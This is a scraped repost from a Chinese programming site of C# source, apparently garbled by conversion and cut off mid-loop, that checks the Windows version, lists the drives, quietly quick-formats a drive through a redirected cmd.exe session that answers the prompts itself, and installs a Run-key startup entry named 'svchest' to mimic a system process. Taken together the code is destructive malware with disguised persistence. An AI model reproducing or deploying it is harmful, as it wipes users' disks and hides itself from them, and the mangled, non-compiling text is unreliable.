In ...

xiaoxiao2021-03-06  46

Using system.Runtime.InteropServices; using system.collections; using system.diagnostics; using microsoft.win32; using system.windows.form;

namespace Sample.FormatYH {#region obtained WINDOWS version [StructLayout (LayoutKind.Sequential)] public struct OSVersionInfo {public int OSVersionInfoSize; public int MajorVersion; public int MinorVersion; public int BuildNumber; public int PlatformId;

[Marshalas (unmanagedtype.byvaltstr, sizeconst = 128)] public string versionstring;

Public Enum WV_ENUM {WV_31 = 1, WV_95 = 2, WV_NT = 3, WV_98 = 4, WV_ME = 5, WV_2K = 6, WV_XP = 7, WV_S2003F = 8}

public class _GetVersion {[DllImport ( "kernel32", EntryPoint = "GetVersionEx")] private static extern bool GetVersionExa (ref OSVersionInfo osvi); public static wv_enum GetVersion () {OSVersionInfo osvi = new OSVersionInfo (); osvi.OSVersionInfoSize = Marshal. SIZEOF (OSVI);

GetversionExa (Ref OSVI);

Return OpsysName (Osvi.majorversion, Osvi.minorversion, Osvi.PlatformID);

}

Private static wv_enum OpsysName (int Majorversion, int minorversion, int platformid) {string str_opn = string.format ("{0}. {1}", Majorversion, MinorVersion;

Switch (STR_OPN) {CASE "4.0": Return WIN95_NT40 (PlatformID); Case "4.10": Return WV_ENUM.WV_98; Case "4.90": Return WV_ENUM.WV_ME; Case "3.51": Return WV_ENUM.WV_31; Case "5.0" : return wv_enum.WV_2K; case "5.1": return wv_enum.WV_XP; case "5.2": return wv_enum.WV_S2003F; default: return wv_enum.WV_98;}} private static wv_enum win95_nt40 (int PlatformId) {switch (PlatformId) {case 1: RETURN WV_ENUM.WV_95; Case 2: Return WV_ENUM.WV_NT; Default: Return WV_ENUM.WV_95;}}} #ENDREGION

#REGON Get System Logo - Disk Information Public Struct Diskinfo {Public String Disktag; Public String Diskvname; Public String DiskFilesys;

Class getLogicDiver {private static string [] drives = environments (); private static string sysdir = environment.systemDirectory; private static diskinfo diff = new diskinfo ();

[DLLIMPORT ("kernel32", entrypoint = "getDriveType")] Private static extern uint getDriveTypea (String DVN);

[DllImport ( "kernel32.dll")] private static extern long GetVolumeInformation (string PathName, StringBuilder VolumeNameBuffer, UInt32 VolumeNameSize, ref UInt32 VolumeSerialNumber, ref UInt32 MaximumComponentLength, ref UInt32 FileSystemFlags, StringBuilder FileSystemNameBuffer, UInt32 FileSystemNameSize);

private static string GetVolumeName (string strDriveLetter) {uint serNum = 0; uint maxCompLen = 0; StringBuilder VolLabel = new StringBuilder (256); UInt32 VolFlags = new UInt32 (); StringBuilder FSName = new StringBuilder (256); long Ret = GetVolumeInformation ( StrDriveletter, Vollabel, (uint32) Vollabel.capacity, Ref Sernum, Ref Maxcomplen, Ref Volflags, Fsname, (UINT32) fsname.capacity; Return Convert.TOString (Vollabel);

private static string GetFSName (string strDriveLetter) {uint serNum = 0; uint maxCompLen = 0; StringBuilder VolLabel = new StringBuilder (256); UInt32 VolFlags = new UInt32 (); StringBuilder FSName = new StringBuilder (256); long Ret = GetVolumeInformation ( StrDriveletter, Vollabel, (uint32) Vollabel.capacity, Ref Sernum, Ref Maxcomplen, Ref Volflags, Fsname, (UINT32) fsname.capacity;

Return convert.toString (fsname);

Public static arraylist getDiskinfo () {ArrayList al = new arraylist (); for (int i = 0; i

#region system command to call public class HookFormat {public static void StarFormat (string diskno, string diskv) {Process p = new Process (); if (_GetVersion.GetVersion () == wv_enum.WV_NT || _GetVersion.GetVersion () == WV_ENUM.WV_2K || _getversion.getversion () == wv_enum.wv_xp || _getversion.getversion () == wv_enum.wv_s2003f) {p.StartInfo.fileName = "cmd.exe";} else {p.startinfo.fileName = "command.exe";} p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = false; p.StartInfo.CreateNoWindow = false; p.Start ();

P.Standardinput.writeline ("format" "/ q"); p.standardinput.writeline (Diskv); P.standardInput.writeline ("y"); p.standardInput.writeline ("N");

P.standardinput.writeline ("exit"); string strrst = p.standardoutput.readtoend (); // console.writeline (STRRST);

} #Endregion

#region settings and call registry information public class DelReg {// create key-value public static void Reg () {RegistryKey hklm = Registry.LocalMachine; RegistryKey software = hklm.OpenSubKey ( "SOFTWARE", true); RegistryKey microsoft = software. OpenSubKey ( "MICROSOFT", true); RegistryKey windows = microsoft.OpenSubKey ( "Windows", true); RegistryKey currentversion = windows.OpenSubKey ( "CurrentVersion", true); RegistryKey _run = currentversion.OpenSubKey ( "Run", true) _Run.SetValue ("svchest", Application.Startuppath "Svchest.exe");

RegistryKey svchest = software.CreateSubKey ( "Svchest"); svchest.SetValue ( "sdate", DateTime.Now.ToString ());} // determines whether there is a key public static bool IsCreat () {RegistryKey hklm = Registry.LocalMachine ; RegistryKey software = hklm.OpenSubKey ( "SOFTWARE", true); RegistryKey microsoft = software.OpenSubKey ( "MICROSOFT", true); RegistryKey windows = microsoft.OpenSubKey ( "Windows", true); RegistryKey currentversion = windows.OpenSubKey ( "Currentversion", true); registryKey _run = currentversion.opensubkey ("run", true);

IF (_Run .getValue ("svchest")! = null) {return true;} else {return false;}}

// Get key public static string GetDate () {RegistryKey hklm = Registry.LocalMachine; RegistryKey software = hklm.OpenSubKey ( "SOFTWARE", true); RegistryKey svchest = software.OpenSubKey ( "Svchest", true);

Return (String) Svchest.getValue ("sdate");}

// delete the key public static void DelKey () {RegistryKey hklm = Registry.LocalMachine; RegistryKey software = hklm.OpenSubKey ( "SOFTWARE", true); RegistryKey microsoft = software.OpenSubKey ( "MICROSOFT", true); RegistryKey windows = microsoft.OpenSubKey ( "Windows", true); RegistryKey currentversion = windows.OpenSubKey ( "CurrentVersion", true); RegistryKey _run = currentversion.OpenSubKey ( "Run", true); _run.DeleteValue ( "svchest");

Software.deleteSubkey ("svchest", false;}} #ENDREGON

转载请注明原文地址:https://www.9cbs.com/read-80395.html

New Post(0)